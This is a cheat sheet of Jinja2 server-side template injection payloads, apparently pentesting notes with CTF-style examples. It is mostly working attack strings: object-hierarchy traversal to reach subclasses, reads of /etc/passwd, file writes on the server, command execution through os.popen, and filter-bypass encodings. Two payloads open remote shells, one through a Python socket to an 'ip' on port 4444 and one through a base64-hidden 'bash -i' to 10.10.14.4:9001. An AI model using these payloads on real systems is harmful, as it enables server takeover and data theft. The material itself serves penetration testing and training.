Skip to content

Server Side Template Injection (SSTI) Jinja2

Basic

{{ 1 + 1 }}

Debug Statement

{% debug %}

Dump all config variables

{{ config }}

Accessing Global Objects

{{ [] }}
{{ '' }}
{{ () }}
{{ dict }}
{{ config }}
{{ request }}

Recovering

{{ [].__class__ }}
{{ ''.__class__ }}
{{ ()["__class__"] }}
{{ request["__class__"] }}
{{ config.__class__ }}

{{ dict  }}
{{ dict.__base__ }}
{{ dict["__base__"] }}
{{ dict.mro()[-1] }}
{{ dict.__mro__[-1] }}
{{ (dict|attr("__mro__"))[-1] }}
{{ (dict|attr("\x5f\x5fmro\x5f\x5f"))[-1] }}
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}

{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}

{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ''.__class__.__mro__[2].__subclasses__() }}

{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}

{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}

Read/Write remote file

{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

RCE

{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}

Filter bypasses

{{ request.__class__ }}
{{ request["__class__"] }}
{{ request['\x5f\x5fclass\x5f\x5f'] }}
{{ request|attr("__class__") }}
{{ request|attr(["_"*2, "class", "_"*2]|join) }}

{{ request|attr(request.headers.c) }}
{{ request|attr(request.args.c) }}
{{ request|attr(request.query_string[2:16].decode() }}
{{ request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) }}

{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}

more in source

  • https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti
  • https://skf.gitbook.io/asvs-write-ups/server-side-template-injection-ssti/server-side-template-injection